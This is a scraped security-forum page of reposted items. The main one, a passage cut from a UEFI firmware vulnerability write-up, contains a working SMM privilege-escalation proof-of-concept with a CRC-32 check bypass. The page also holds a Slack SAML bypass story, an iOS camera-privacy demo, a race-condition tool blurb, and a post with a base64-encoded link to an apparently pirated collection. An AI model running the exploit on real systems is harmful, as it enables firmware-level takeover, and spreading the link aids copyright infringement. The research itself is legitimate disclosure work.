WARNING: ******************************************************************* [CHIPSEC] API mode: using CHIPSEC kernel module API In [7]: SMRAM = cs.cpu.get_SMRAM() In [8]: hex(SMRAM[0]) Out[8]: ‘0xbd000000L’ In [9]: hex(SMRAM[1]) Out[9]: ‘0xbd7fffffL’ To obtain access to SMRAM via the DCI, it is necessary to set up the breakpoint that would work while SMM is being entered, and then to simulate the Software System Management Interrupt call (SW SMI) by writing in port 0xb2. In debugging console, it looks the following way: >>? itp.halt() [SKL_C0_T0] MWAIT C1 B break at 0x10:FFFFF8055F1A1348 in task 0x0040 [SKL_C0_T1] MWAIT C1 B break at 0x10:FFFFF8055F1A1348 in task 0x0040 [SKL_C1_T0] MWAIT C1 B break at 0x10:FFFFF8055F1A1348 in task 0x0040 [SKL_C1_T1] MWAIT C1 B break at 0x10:FFFFF8055F1A1348 in task 0x0040 >>> itp.cv.smmentrybreak=1 >>> itp.threads[0].port(0xb2, 0) >>> itp.go() >>? [SKL_C0_T0] SMM Entry break at 0xC600:0000000000008000 in task 0x0040 [SKL_C0_T1] SMM Entry break at 0xC680:0000000000008000 in task 0x0040 [SKL_C1_T0] SMM Entry break at 0xC700:0000000000008000 in task 0x0040 [SKL_C1_T1] SMM Entry break at 0xC780:0000000000008000 in task 0x0040 >>? Now, with the processor entered in the SMM mode, it is possible to access the protected memory. >>> itp.threads[0].memsave(‘smram.bin’, ‘0xbd000000P’, ‘0xbd7fffffP’, True) Due to the requested amount of memory (8388608 bytes), this command will take a while to execute. Due to the requested amount of memory (8388608 bytes), this command will take a while to execute. >>> So, getting full dump recorded in the “.bin” file is only a matter of seconds. We can use the smram_parse.py script to analyze the dump. The point of interest here is Software SMI handlers, which is the most widely used UEFI BIOS attack vector. The script helps to get all the necessary information related to the SW SMI handlers: SW SMI HANDLERS: 0xbd465c10: SMI = 0x28, addr = 0xbd463a3c, image = PowerMgmtSmm 0xbd59dc10: SMI = 0x56, addr = 0xbd59bb14, image = CpuSpSMI 0xbd59db10: SMI = 0x57, addr = 0xbd59bc88, image = CpuSpSMI 0xbd541d10: SMI = 0x62, addr = 0xbd574004, image = GenericComponentSmmEntry * 0xbd541b10: SMI = 0x65, addr = 0xbd575024, image = GenericComponentSmmEntry * 0xbd541a10: SMI = 0x63, addr = 0xbd5753a0, image = GenericComponentSmmEntry * 0xbd541910: SMI = 0x64, addr = 0xbd575a18, image = GenericComponentSmmEntry * 0xbd541810: SMI = 0xb2, addr = 0xbd575fa4, image = GenericComponentSmmEntry * 0xbd541110: SMI = 0xb0, addr = 0xbd537c28, image = NbSmi * 0xbd542910: SMI = 0xbb, addr = 0xbd52ed04, image = SbRunSmm 0xbd542210: SMI = 0xa0, addr = 0xbd525ce4, image = AcpiModeEnable 0xbd542010: SMI = 0xa1, addr = 0xbd525dd0, image = AcpiModeEnable 0xbd524b10: SMI = 0x55, addr = 0xbd5114d0, image = SmramSaveInfoHandlerSmm 0xbd4e6a10: SMI = 0x43, addr = 0xbd4e5360, image = AhciInt13Smm * 0xbd4e6810: SMI = 0x44, addr = 0xbd4e07bc, image = MicrocodeUpdate * 0xbd4e6610: SMI = 0x41, addr = 0xbd4dc9b8, image = OA3_SMM * 0xbd4e6510: SMI = 0xdf, addr = 0xbd4dab54, image = OA3_SMM 0xbd4e6410: SMI = 0xef, addr = 0xbd4d89e0, image = SmiVariable 0xbd4e6310: SMI = 0x90, addr = 0xbd4d42dc, image = BiosDataRecordSmi * 0xbd4cec10: SMI = 0x61, addr = 0xbd4cfde0, image = CmosSmm 0xbd4ce510: SMI = 0x42, addr = 0xbd4c4cd0, image = NvmeSmm 0xbd4ce110: SMI = 0x26, addr = 0xbd4ac32c, image = Ofbd * 0xbd497c10: SMI = 0x20, addr = 0xbd4929bc, image = SmiFlash * 0xbd497b10: SMI = 0x21, addr = 0xbd4929bc, image = SmiFlash * 0xbd497a10: SMI = 0x22, addr = 0xbd4929bc, image = SmiFlash * 0xbd497910: SMI = 0x23, addr = 0xbd4929bc, image = SmiFlash * 0xbd497810: SMI = 0x24, addr = 0xbd4929bc, image = SmiFlash * 0xbd497710: SMI = 0x25, addr = 0xbd4929bc, image = SmiFlash * 0xbd497410: SMI = 0x35, addr = 0xbd48fe24, image = TcgSmm 0xbd472f10: SMI = 0x31, addr = 0xbd474ca8, image = UsbRtSmm 0xbd472b10: SMI = 0xbf, addr = 0xbd46ea48, image = CrbSmi 0xbd472710: SMI = 0x01, addr = 0xbd46d5e0, image = PiSmmCommunicationSmm 0xbd472010: SMI = 0x50, addr = 0xbd4671d4, image = SmbiosDmiEdit 0xbd465f10: SMI = 0x51, addr = 0xbd4671d4, image = SmbiosDmiEdit 0xbd465e10: SMI = 0x52, addr = 0xbd4671d4, image = SmbiosDmiEdit 0xbd465d10: SMI = 0x53, addr = 0xbd4671d4, image = SmbiosDmiEdit The data the script provides can also be used to find out memory addresses of the loaded SMM drivers. With this information, we can reverse-engineer the firmware modules mentioned above. Detecting Software SMI handler vulnerability According to the report compiled by the “smram_parse.py“, the UsbRtSmm module contains the implementation of the SW SMI handler #0x31. In this kind of a situation, it is possible to use the UEFITool utility to extract the body of the UsbRtSmm (see Fig. 7). Fig. 7. Extracting UsbRtSmm body In case of IDA Pro, it is possible to save much time by using the ida-efitools script that helps to reverse engineer UEFI firmwares. The script will attempt to automatically define all the used UEFI structures and mark them in idb. The UsbRtSmm module is located at 0xBD473000, and the SW SMI handler (aka DispatchFunction) at 0xbd474ca8. Analysis of DispatchFunction provides the following information: __int64 DispatchFunction() { __int64 v0; // rbx@1 unsigned __int8 *v1; // rdi@1 unsigned __int8 v2; // al@7 v0 = qword_BD48B460; v1 = *(unsigned __int8 **)(qword_BD48B460 + 30392); if ( v1 ) { *(_QWORD *)(qword_BD48B460 + 30392) = 0i64; } else { if ( *(_BYTE *)(qword_BD48B460 + 8) & 0x10 ) return 0i64; v1 = (unsigned __int8 *)*(_DWORD *)(16 * (unsigned int)v40E + 260); if ( sub_BD48AE24((__int64)v1) < 0 ) return 0i64; *(_BYTE *)(v0 + 31477) = 1; } if ( !v1 ) return 0i64; v2 = *v1; if ( !*v1 ) goto LABEL_11; if ( v2 >= 0x20u && v2 <= 0x38u ) { v2 -= 31; LABEL_11: ((void (__fastcall *)(unsigned __int8 *))off_BD473E30[(unsigned __int64)v2])(v1); v0 = qword_BD48B460; } if ( !*(_QWORD *)(v0 + 30392) ) *(_BYTE *)(v0 + 31477) = 0; return 0i64; } As it is evident, DispatchFunction operates with the qword_BD48B460 pointer, the value of which is unknown during static analysis. In addition, there is some structure participating in the logic. The pointer to the structure can be found by computing [16 * [0x40e] + 260]. The 0x40e memory address (stores segment address of Extended BIOS Data Area) may be easily controlled by a user with kernel level privileges. All in all, the structure can be described as user controlled input. The sub_BD48AE24 function checks whether the acquired pointer intercepts the SMRAM region, and exits from the handler if the pointer does. It can also be seen that the first byte of the obtained structure is a number of a called subfunction. The total amount of these subfunctions is equal to 24. The most interesting one among them is the subfunction 14, located at 0xBD4760AC (for ease of analysis we called it subfunc_14): int __fastcall subfunc_14(__int64 a1) { __int64 v2; // rax@1 LODWORD(v2) = sub_BD475F9C( *(200 * ((*(a1 + 11) - 16) >> 4) + qword_BD48B460 + 112 + 8i64 * *(a1 + 1) + 8), *(a1 + 3), (*(a1 + 15) + 3) & 0xFFFFFFFC); *(a1 + 2) = 0; *(a1 + 19) = v2; return v2; } The qword_BD48B460 appeared here as well and it is used to acquire another pointer in relation to it. After that, the acquired pointer is transferred to the sub_BD475F9C function. int __fastcall sub_BD475F9C(int (__fastcall *a1)(_QWORD, _QWORD, _QWORD), _QWORD *a2, unsigned int a3) { ... v3 = a3 >> 3; if ( v3 ) { v4 = v3 - 1; if ( v4 ) { v5 = v4 - 1; if ( v5 ) { ... } else { result = (a1)(*a2, a2[1]); } } else { result = (a1)(*a2); } } else { result = (a1)(); } return result; Here is “a little something” from the driver developer: the function calls another one to which the pointer refers. The thing is it can send up to 7 arguments! However, is it possible to control the pointer? In subfunc_14, the pointer is computed in relation to qword_BD48B460. The advantages that dynamic analysis grants help to learn the contents of the function: >>? itp.halt() [SKL_C0_T0] MWAIT C1 B break at 0x10:FFFFF80DCAA31348 in task 0x0040 [SKL_C0_T1] Halt Command break at 0x33:00007FFA8EBB5F84 in task 0x0040 [SKL_C1_T0] MWAIT C1 B break at 0x10:FFFFF80DCAA31348 in task 0x0040 [SKL_C1_T1] MWAIT C1 B break at 0x10:FFFFF80DCAA31348 in task 0x0040 >>> itp.cv.smmentrybreak=1 >>> itp.threads[0].port(0xb2, 0x31) # call SW SMI #0x31 >>> itp.go() >>? [SKL_C0_T0] SMM Entry break at 0xC600:0000000000008000 in task 0x0040 [SKL_C0_T1] SMM Entry break at 0xC680:0000000000008000 in task 0x0040 [SKL_C1_T0] SMM Entry break at 0xC700:0000000000008000 in task 0x0040 [SKL_C1_T1] SMM Entry break at 0xC780:0000000000008000 in task 0x0040 >>? >>> itp.threads[0].br(None, ‘0xbd474ca8L’, ‘exe’) # set breakpoint on execution at DispatchFunction >>> itp.threads[0].go() >>? [SKL_C0_T0] Debug register break on instruction execution only at 0x38:00000000BD474CA8 in task 0x0040 [SKL_C0_T1] BreakAll break at 0x38:00000000BD7DC838 in task 0x0040 [SKL_C1_T0] BreakAll break at 0x38:00000000BD7DC834 in task 0x0040 [SKL_C1_T1] BreakAll break at 0x38:00000000BD7DC834 in task 0x0040 >>? >>> itp.threads[0].asm(‘$’, 5) # show disassembly listing 0x38:00000000BD474CA8 48895c2408 mov qword ptr [rsp + 0x08], rbx 0x38:00000000BD474CAD 57 push rdi 0x38:00000000BD474CAE 4883ec20 sub rsp, 0x20 0x38:00000000BD474CB2 488b1d574883ec mov rbx, qword ptr [rip - 0x137cb7a9] 0x38:00000000BD474CB9 488bbbb8760000 mov rdi, qword ptr [rbx + 0x000076b8] >>> itp.threads[0].step(None, 4) # step 4 times [SKL_C0_T0] Single STEP break at 0x38:00000000BD474CAD in task 0x0040 [SKL_C0_T0] Single STEP break at 0x38:00000000BD474CAE in task 0x0040 [SKL_C0_T0] Single STEP break at 0x38:00000000BD474CB2 in task 0x0040 [SKL_C0_T0] Single STEP break at 0x38:00000000BD474CB9 in task 0x0040 >>> itp.threads[0].display(‘rbx’) # rbx contains value of ‘qword_BD48B460’ rbx = 0x00000000bcee9000 rbx.ebx = 0xbcee9000 rbx.ebx.bx = 0x9000 rbx.ebx.bx.bl = 0x00 rbx.ebx.bx.bh = 0x90 So, the driver operates with the pointer that is equal to 0xbcee9000. But is it the memory of the SMM? SMRAM covers the range from 0xbd000000 to 0xbd7fffff. In other words, the memory at 0xbcee9000 is not protected. Considering that the driver allows calling pointer stored in volatile memory, there is an opportunity to perform arbitrary code execution in the SMM context. For the sake of completeness, it is necessary to determine how to compute the 0xbcee9000 address from an OS. By analyzing xrefs to qword_BD48B460 it possible to find the exact place where these values are assigned: if ( (gEfiBootServices_4->LocateProtocol(&EFI_USB_PROTOCOL_GUID, 0i64, &EfiUsbProtocol) & 0x8000000000000000ui64) == 0i64 ) { qword_BD48B460 = *(EfiUsbProtocol + 8); *(EfiUsbProtocol + 0x50) = sub_BD4759E8; *(EfiUsbProtocol + 0x58) = sub_BD475CCC; *(EfiUsbProtocol + 0x60) = sub_BD475D74; The pointer in the question (let us call it usb_data) is stored in the EFI_USB_PROTOCOL protocol. Therefore, we need to understand what module registers it. With the help of GUID {2ad8e2d2-2e91-4cd1-95f5-e78fe5ebe316} in UEFITool, we can find the Uhcd module with the following code segment: LODWORD(usb_protocol) = sub_6088(0x90i64, 0x10i64); *(_QWORD *)(usb_protocol + 8) = usb_data; qword_CB58 = usb_protocol; *(_QWORD *)(usb_protocol + 16) = sub_30B4; *(_DWORD *)usb_protocol = ‘PBSU’; *(_QWORD *)(usb_protocol + 24) = sub_2E40; *(_QWORD *)(usb_protocol + 32) = sub_2FC8; *(_QWORD *)(usb_protocol + 40) = sub_350C; *(_QWORD *)(usb_protocol + 48) = sub_3524; *(_QWORD *)(usb_protocol + 56) = sub_3524; *(_QWORD *)(usb_protocol + 64) = sub_3524; *(_QWORD *)(usb_protocol + 72) = sub_6448; *(_QWORD *)(usb_protocol + 104) = sub_31F8; *(_QWORD *)(usb_protocol + 112) = sub_63AC; *(_QWORD *)(usb_protocol + 120) = sub_3238; gEfiBootServices_0->InstallProtocolInterface(&v25, &EFI_USB_PROTOCOL_GUID, 0, (void *)usb_protocol); The EFI_USB_PROTOCOL structure has the USBP signature by zero offset. The sub_6088 function helps to identify the exact location of the structure. gEfiBootServices_0->AllocatePages(AllocateMaxAddress, EfiRuntimeServicesData, 0x11ui64, &Memory) Another "little something" from the developer is that the memory of the EfiRuntimeServicesData type is allocated for the structure, which means that the structure is out of the SMRAM region. More precisely, it is located lower than SMRAM, as borne out by the allocation type being equal to AllocateMaxAddress. It is also worth to be mentioned that the EFI_USB_PROTOCOL structure address will be aligned to PAGE_SIZE (0x1000). With all the required vulnerability-related information gathered, by using CHIPSEC, it is possible to write a simple proof-of-concept that will stuck the system with Machine Check Exception. from struct import pack, unpack import chipsec.chipset from chipsec.hal.interrupts import Interrupts PAGE_SIZE = 0x1000 SMI_USB_RUNTIME = 0x31 cs = chipsec.chipset.cs() cs.init(None, True, True) intr = Interrupts(cs) SMRAM = cs.cpu.get_SMRAM()[0] mem_read = cs.helper.read_physical_mem mem_write = cs.helper.write_physical_mem mem_alloc = cs.helper.alloc_physical_mem # locate EFI_USB_PROTOCOL and usb_data in the memory for addr in xrange(SMRAM / PAGE_SIZE - 1, 0, -1): if mem_read(addr * PAGE_SIZE, 4) == ‘USBP’: usb_protocol = addr * PAGE_SIZE usb_data = unpack(“<Q”, mem_read(addr * PAGE_SIZE + 8, 8))[0] break assert usb_protocol != 0, “can’t find EFI_USB_PROTOCOL structure” assert usb_data != 0, “usb_data pointer is empty” # prepare our structure struct_addr = mem_alloc(PAGE_SIZE, 0xffffffff)[1] mem_write(struct_addr, PAGE_SIZE, ‘\x00’ * PAGE_SIZE) # clean the structure mem_write(struct_addr + 0x0, 1, ‘\x2d’) # subfunction number mem_write(struct_addr + 0xb, 1, ‘\x10’) # arithmetic adjustment # store the pointer to the structure in the EBDA ebda_addr = unpack(‘<H’, mem_read(0x40e, 2))[0] * 0x10 mem_write(ebda_addr + 0x104, 4, pack(‘<I’, struct_addr)) # replace the pointer in the usb_data bad_ptr = 0xbaddad func_offset = 0x78 mem_write(usb_data + func_offset, 8, pack(‘<Q’, bad_ptr)) # allow to read the pointer from EBDA x = ord(mem_read(usb_data + 0x8, 1)) & ~0x10 mem_write(usb_data + 0x8, 1, chr(x)) # stuck it! intr.send_SW_SMI(0, SMI_USB_RUNTIME, 0, 0, 0, 0, 0, 0, 0) As can be seen below, it has indeed been calling an incorrect address that has made a system stuck. >>> itp.cv.smmentrybreak=1 >>> itp.go() >>? # running PoC on the target system... >>? [SKL_C0_T0] SMM Entry break at 0xC600:0000000000008000 in task 0x0040 [SKL_C0_T1] SMM Entry break at 0xC680:0000000000008000 in task 0x0040 [SKL_C1_T0] SMM Entry break at 0xC700:0000000000008000 in task 0x0040 [SKL_C1_T1] SMM Entry break at 0xC780:0000000000008000 in task 0x0040 >>? >>> itp.cv.machinecheckbreak=1 >>> itp.go() >>? [SKL_C0_T0] Machine Check break at 0x38:0000000000BADDAD in task 0x0040 [SKL_C0_T1] Machine Check break at 0x38:00000000BD7DC834 in task 0x0040 [SKL_C1_T0] Machine Check break at 0x38:00000000BD7DC834 in task 0x0040 [SKL_C1_T1] Machine Check break at 0x38:00000000BD7DC834 in task 0x0040 >>? Machine Check Exception occurred while the first thread was jumping to 0xBADDAD - the address specified in the proof-of-concept. Impact and Consequences Although a vulnerability in a particular motherboard poses a certain threat, it is not as critical as when this vulnerability is common for different motherboards produced by different vendors. So, it is necessary to define whether other vendors use the same module in their hardware products. It is not necessary to examine other firmwares to do this: the data from the efi-whitelist repository will suffice. A simple list search shows that the vulnerable module is used by all the vendors. Moreover, according to the data we have gathered, GIGABYTE, ASUS, and Dell are vulnerable as well. Intel firmware is of most relevance here because Intel cares for the security of their devices more than others do. We have made a special showcase stand and researched Intel NUC Kit NUC7i3BNH based on Kaby Lake, to see if the Intel’s firmware contains this vulnerability (see Fig. 8). Fig. 8. Showcase stand Exploiting Intel NUC Kit To the moment, the latest firmware version is 0048. Having extracted UsbRtSmm module, we can analyze DispatchFunction. Comparing the module with the same one in GA-Q170M-D3H, it can be concluded that the exploitation paths are almost identical, though with an exception: there is the following code right in the beginning of DispatchFunction: if ( byte_1B158 == 1 ) return 0i64; if ( sub_1A80C(usb_data) < 0 ) { byte_1B159 = 1; byte_1B158 = 1; return 0i64; } It looks like a fix of a kind, but let us not get carried away. First of all, we need to figure out in what cases byte_1B158 takes value 1. Excluding the cases when the byte_1B158 is equated to 1 after the sub_1A80C provides a negative result, it becomes obvious that the sub_5EEC does it unconditionally. There is a single xref of sub_5EEC pointing to the following function: int __fastcall sub_5F1C(EFI_GUID *Protocol, void *Interface, EFI_HANDLE Handle) { signed __int64 v3; // rax@1 char v5; // [sp+20h] [bp-18h]@2 void *acpi_en_dispatch; // [sp+58h] [bp+20h]@1 v3 = Smst->SmmLocateProtocol(&EFI_ACPI_EN_DISPATCH_PROTOCOL_GUID, 0i64, &acpi_en_dispatch); if ( v3 >= 0 ) LODWORD(v3) = (*acpi_en_dispatch)(acpi_en_dispatch, sub_5EEC, &v5); return v3; The function is sent as an argument when a method of an unknown EFI_ACPI_EN_DISPATCH_PROTOCOL is called, which seems to be a callback. In other words, the sub_5EEC function will be called if a certain event occurs. But what is this event? Searching GUID {bd88ec68-ebe4-4f7b-935a-4f666642e75f} shows that the protocol is implemented in the AcpiModeEnable module. The name is quite self-explanatory, isn’t it? There is no need to research it - it is obvious that the sub_5EEC is called when the system jumps in the ACPI mode. Unfortunately, in such a case, it will be more difficult to exploit the vulnerability in Windows 10 systems, because, starting from Vista, Windows OS drivers work only in the ACPI mode. Linux, we beg you, come and save us! With Ubuntu 16.10 AMD64 installed we can load the system in non-ACPI mode. To do this, we add acpi=off to the GRUB_CMDLINE_LINUX_DEFAULT parameter. After that, the system will load without ACPI support. The only thing left do is to learn what the sub_1A80C function checks. While researching the function, it was certain that it validates the usb_data structure. The checking algorithm is quite large, but the only check we are interested in is the usb_data + 0x78 address check, which can be seen in the sub_1A2D0 function containing the code segment below: if ( &buffer != (usb_data + 0x70) ) memcpy(&buffer, (usb_data + 0x70), 0x320ui64); if ( &v19 != (usb_data + 0x6B0) ) memcpy(&v19, (usb_data + 0x6B0), 0x150ui64); if ( &v20 != (usb_data + 0x950) ) memcpy(&v20, (usb_data + 0x950), 0x150ui64); if ( &v21 != (usb_data + 0x7188) ) memcpy(&v21, (usb_data + 0x7188), 0x190ui64); The pointer we need here is copied to the internal buffer. After that, we can see the following code in the end of the function: calculate_crc32(&buffer, 0x7A0ui64, &crc_array[2]); calculate_crc32(crc_array, 0xCui64, crc_out); The fix for the vulnerability exploited in GA-Q170M-D3H is found. While the system is loading, the CRC-32 hash of a part of the usb_data structure memory region is being calculated and saved. When the SW SMI is called the hash is recalculated. If the result does not match, the execution will be stopped, and further attempts to execute handler code will be prohibited. Perhaps, the fix does really prevent vulnerability exploitation, but there is one little “but” about it: validation algorithm depends heavily on that cryptographic strength of the CRC-32 algorithm that is...close to zero. To spoof CRC-32 hash, we can simply correct 4 consecutive bytes after changing the data we are interested in, by simply using the python script from Project Nayuki. The only thing needed is to adapt its functions to operate with the buffer instead of files. Considering CRC-32 hash saving, we can modify the pointer like this: bad_ptr = 0xbaddad buf_size = 0x10 buffer = mem_read(usb_data + 0x70, buf_size) crc32 = get_buffer_crc32(buffer) # replace the pointer (usb_data + 0x78) buffer = buffer[0:8] + pack(‘<Q’, bad_ptr) # spoofing crc32, first 4 bytes will be modified buffer = modify_buffer_crc32(buffer, 0, crc32) mem_write(usb_data + 0x70, buf_size, buffer) However, as opposed to GA-Q170M-D3H, with Intel NUC7i3BNH an error occurs: AssertionError: usb_data pointer is empty If we return to the Uhcd module (this time to that of the NUC7i3BNH firmware), we can see that one of the functions acts like this: EFI_STATUS __fastcall sub_2CB0(void *a1) { *(_QWORD *)(usb_protocol + 8) = 0i64; return gEfiBootServices_0->CloseEvent(a1); } It looks like a mitigation of a kind. Now, the usb_data structure address should be defined in another way. Back to the place where the usb_data and usb_protocol structures allocation occurred, it is plain clear that in both cases the sub_64D4 function is called. The function takes memory allocation size and address alignment as arguments. Reviewing the function, we found out that memory allocation occurs once via EFI_BOOT_SERVICES.AllocatePages, when the function is called for the first time. Moreover, a total of 0x11 pages of memory is allocated simultaneously. Further calls break this allocation to pieces, according to the alignment. In combination with memory allocation, such a behavior gives an opportunity to locate the usb_data structure address on the basis of the address of usb_protocol. The first allocation to be made is for usb_data (0x7AC8 bytes). After that, an unknown memory space of 0x8000 bytes that requires alignment of 0x1000 bytes is allocated. Finally, usb_protocol gets its allocated memory (0x90 bytes with an alignment of 0x10). Thus, it is possible to subtract 0x10000 from the usb_protocol address to learn the usb_data address structure. Here is the finishing stroke of our proof-of-concept. assert usb_protocol != 0, “can’t find EFI_USB_PROTOCOL structure” if usb_data == 0: usb_data = usb_protocol - 0x10000 See the full proof-of-concept at: UsbRt SMM Privilege Elevation Conclusion We have managed to detect a highly critical vulnerability that allows privilege escalation up to the System Management Mode. The vulnerability is common for a broad range of platforms because it is the UsbRtSmm module that contains it. Despite certain exceptions, even the newest Intel devices are susceptible to this threat. Moreover, we described the process of bypassing this “robust protection” granted by CRC-32 hash and pseudomitigation. Before we call it a day, here is a lifehack for those hunting 1-days: due to the fact that Intel releases firmware updates specifying security fixes in their changelogs, you can perform binary diffing of firmware modules with those in other vendors’ firmware. Timeline of Disclosure 07/10/2017 - Vulnerability reported to Intel. The day the Earth stood still they changed their PGP key, so got no answer. 08/21/2017 - Vulnerability reported to Intel, again 08/22/2017 - Intel acknowledges receiving the report 08/23/2017 - Intel says this issue has been fixed 08/28/2017 - Embedi confirms the issue is resolved 10/10/2017 - Intel pulled down its security advisory 10/21/2017 - Embedi presents ‘UEFI BIOS holes: So Much Magic, Don’t Come Inside’ at H2HC in Brazil 10/24/2017 - Blog article posted Sursa: https://embedi.com/blog/uefi-bios-holes-so-much-magic-dont-come-inside

Slack SAML authentication bypass October 26, 2017 tl;dr I found a severe issue in the Slack's SAML implementation that allowed me to bypass the authentication. This has now been solved by Slack. Introduction IMHO the rule #1 of any bug hunter (note I do not consider myself one of them since I do this really sporadically) is to have a good RSS feed list. In the course of the last years I built a pretty decent one and I try to follow other security experts trying to "steal" some useful tricks. There are many experts in different fields of the security panorama and too many to quote them here (maybe another post). But one of the leading expert (that I follow) on SAML is by far Ioannis Kakavas. Indeed he was able in the last years to find serious vulnerability in the SAML implementation of Microsoft and Github. Usually I am more an "OAuth guy" but since both, SAML and OAuth, are nothing else that grandchildren of Kerberos learning SAML has been in my todo list for long time. The Github incident gave me the final motivation to start learning it. Learning SAML As said I was a kind of SAML-idiot until begin of 2017 but then I decided to learn it a little bit. Of course I started giving a look the the specification, but the best way I learn things is by doing and hopefully breaking. So I downloaded this great Burp extension called SAML Raider (great stuff, it saves so much time, you can edit any assertion on the fly). Then I tried to look if any of the service that routinely I use are SAML compliant. It turns out that many of them are. To name some: Github (but I guess Ioannis already took all the bugs there). So ping next (I actually found this funny JS Github bug giving a look into it, but not pertinent here) Hackerone, I gave a try here but nada, nisba, niente, nicht, niet Slack, Bingo see next section (this is probably meant for Enterprise customers) Slack SAML authentication bypass As said many of the service I use in my routine are SAML aware so I started to poke a bit them. The vulnerability I found is part of the class known as "confused deputy problem". I already talked about it in one of my OAuth blog post (tl;dr this is also why you never want to use OAuth implicit grant flow as authentication mechanism) and is really simple. Basically SAML assertions, between others contains an element called Audience and AudienceRestriction. Quoting Ioannis: The Assertion also contains an AudienceRestriction element that defines that this Assertion is targeted for a specific Service Provider and cannot be used for any other Service Provider. This means that if I present to a ServiceProvider A an assertion meant for ServiceProvider B, then the ServiceProvider A shoud reject it. Well between all other things I tried this very really simple attack against a Slack's SAML endpoint /sso/saml and guess what? It worked !! To be more concrete I used an old and expired (yes the assertion was also expired!!) Github's Assertion I had saved somewhere in my archive that was signed for a subject different than mine (namely the username was not asanso aka me) and I presented to Slack. Slack happily accepted it and I was logged in Slack channel with the username of this old and expired Assertion that was never meant to be a Slack one!!! Wow this is scary.... Well well this look bad enough so I stopped quite immediately and open a ticket on Hackerone.... Disclosure timeline ...here the Slack security team was simply amazing... Thanks guys 02-05-2017 - Reported the issue via Hackerone. 03-05-2017 - Slack confirmed the issue. 26-08-2017 - Slack awarded a 3000$ bounty but still working with the affected customers in order to solve the vulnerability. Hence the ticket was kept open. 26-10-2017 - Slack closed the issue Acknowledgement I would like to thank the Slack security team in particular Max Feldman you guys rock, really!! Well that's all folks. For more SAML trickery follow me on Twitter. Sursa: http://blog.intothesymmetry.com/2017/10/slack-saml-authentication-bypass.html

iOS Privacy: watch.user - Access both iPhone cameras any time your app is running Oct 25, 2017 | Fork on GitHub Facts Once you grant an app access to your camera, it can access both the front and the back camera record you at any time the app is in the foreground take pictures and videos without telling you upload the pictures/videos it takes immediately run real-time face recognition to detect facial features or expressions Have you ever used a social media app while using the bathroom? 🚽 All without indicating that your phone is recording you and your surrounding, no LEDs, no light or any other kind of indication. Disclaimer This project is a proof of concept and should not be used in production. The goal is to highlight a privacy loophole that can be abused by iOS apps. What can an iOS app do? iOS users often grant camera access to an app soon after they download it (e.g., to add an avatar or send a photo). These apps, like a messaging app or any news-feed-based app, can easily track the users face, take pictures, or live stream the front and back camera, without the user’s consent. Get full access to the front and back camera of an iPhone/iPad any time your app is running in the foreground Use the front and the back camera to know what your user is doing right now and where the user is located based on image data Upload random frames of the video stream to your web service, and run a proper face recognition software, which enables you to Find existing photos of the person on the internet Learn how the user looks like and create a 3d model of the user’s face Live stream their camera onto the internet (e.g. while they sit on the toilet), with the recent innovation around faster internet connections, faster processors and more efficient video codecs it’s hard to detect for the average user Estimate the mood of the user based on what you show in your app (e.g. news feed of your app) Detect if the user is on their phone alone, or watching together with a second person Recording stunning video material from bathrooms around the world, using both the front and the back camera, while the user scrolls through a social feed or plays a game Using the new built-in iOS 11 Vision framework, every developer can very easily parse facial features in real-time like the eyes, mouth, and the face frame How can I protect myself as a user? There are only a few things you can do: The only real safe way to protect yourself is using camera covers: There is many different covers available, find one that looks nice for you, or use a sticky note (for example). You can revoke camera access for all apps, always use the built-in camera app, and use the image picker of each app to select the photo (which will cause you to run into a problem I described with detect.location). To avoid this as well, the best way is to use Copy & Paste to paste the screenshot into your messaging application. If an app has no copy & paste support, you’ll have to either expose your image library, or your camera. It’s interesting that many people cover their camera, including Mark Zuckerberg. Proposal How can the root of the problem be fixed, so we don’t have to use camera covers? Offer a way to grant temporary access to the camera (e.g. to take and share one picture with a friend on a messaging app), related to detect.location. Show an icon in the status bar that the camera is active, and force the status bar to be visible whenever an app accesses the camera Add an LED to the iPhone’s camera (both sides) that can’t be worked around by sandboxed apps, which is the elegant solution that the MacBook uses I reported the issue to Apple with rdar://35116272. About the demo I didn’t submit the demo to the App Store; however, you can very easily clone the repo and run it on your own device. You first have to take a picture that gets “posted” on the fake “social network” in the app At this point, you’ve granted full access to both of your cameras every time the app is running You browse through a news feed After a bit of scrolling, you’ll suddenly see pictures of yourself, taken a few seconds ago while you scrolled through the feed You realize you’ve been recorded the whole time, and with it, the app ran a face recognition algorithm to detect facial features. You might say Oh, obviously, I never grant camera permissions! However, if you’re using a messaging service, like Messenger, WhatsApp, Telegram or anything else, chances are high you already granted permission to access both your image library (see detect.location) and your camera. You can check which apps have access to your cameras and photo library by going to Settings > Privacy. The full source code is available on GitHub. How does the demo app get access to the camera? Once you take and post one picture or video via a social network app, you grant full access to the camera, and any time the app is running, the app can use the camera. What’s the screenshot on the right As part of iOS 11, there is now an easy to use Vision framework, that allows developers to easily track faces. The screenshot shows that it’s possible to get some basic emotions right, so I wrote a very basic mapping of a user’s face to the corresponding emoji as a proof of concept. You can see the highlighted facial features, and the detected emoji at the bottom. Similar projects I’ve worked on what’s the user doing: Raising awareness of what you can do with a smartphones gyro sensors in web browsers detect.location: An easy way to access the user’s iOS location data without actually having access steal.password: Easily get the user’s Apple ID password, just by asking Special thanks to Soroush, who came up with the initial idea for this write-up. Open on GitHub This project is in no way affiliated with my work and employer, it's a hobby of mine I work on during weekends Sursa: https://krausefx.com/blog/ios-privacy-watchuser-access-both-iphone-cameras-any-time-your-app-is-running

Race The Web (RTW) Tests for race conditions in web applications by sending out a user-specified number of requests to a target URL (or URLs) simultaneously, and then compares the responses from the server for uniqueness. Includes a number of configuration options. UPDATE: Now CI Compatible! Version 2.0.0 now makes it easier than ever to integrate RTW into your continuous integration pipeline (à la Jenkins, Travis, or Drone), through the use of an easy to use HTTP API. More information can be found in the Usage section below. Watch The Talk Racing the Web - Hackfest 2016 Usage With configuration file $ race-the-web config.toml API $ race-the-web Sursa: https://github.com/insp3ctre/race-the-web

Hi, If anyone needs the entire collection here is the link: aHR0cHM6Ly9tZWdhLm56LyMhQjNoU0ZBUUEhRjRwMFZWYU9qM2hrRy1Ub1NVQ2FzemNZeGw2S2ZsbVB2eHQ2R0M0cTRmOA== PS: I agree with what Nytro said. The only reason for posting the entire collection is that I want to help the community and specially the ones that cannot afford the money yet. I am posting the link for a definite amount of time and then it will disappear. The link is base64 for those who do not know. By the way, Vivek`s English is ok (believe me, others are far worst at English than he is). Fave fun!

domain name .host 0.99 /year cuppon code HALLOWEEN SALE Register